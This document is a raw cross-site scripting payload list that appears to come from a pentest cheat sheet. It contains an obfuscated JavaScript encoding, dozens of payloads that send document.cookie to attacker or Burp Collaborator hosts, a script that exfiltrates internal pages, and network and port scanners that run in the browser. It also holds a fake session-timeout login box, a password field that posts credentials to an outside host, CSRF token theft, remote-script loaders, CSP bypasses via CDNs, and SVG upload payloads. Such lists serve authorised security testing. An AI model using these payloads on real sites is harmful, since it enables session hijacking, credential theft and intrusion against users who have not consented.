(ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');

// It's also possible to execute JS code only with the chars: []`+!${}

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

<esi:include src="http://yoursite.com/capture" />

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>

<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>

<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>

<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />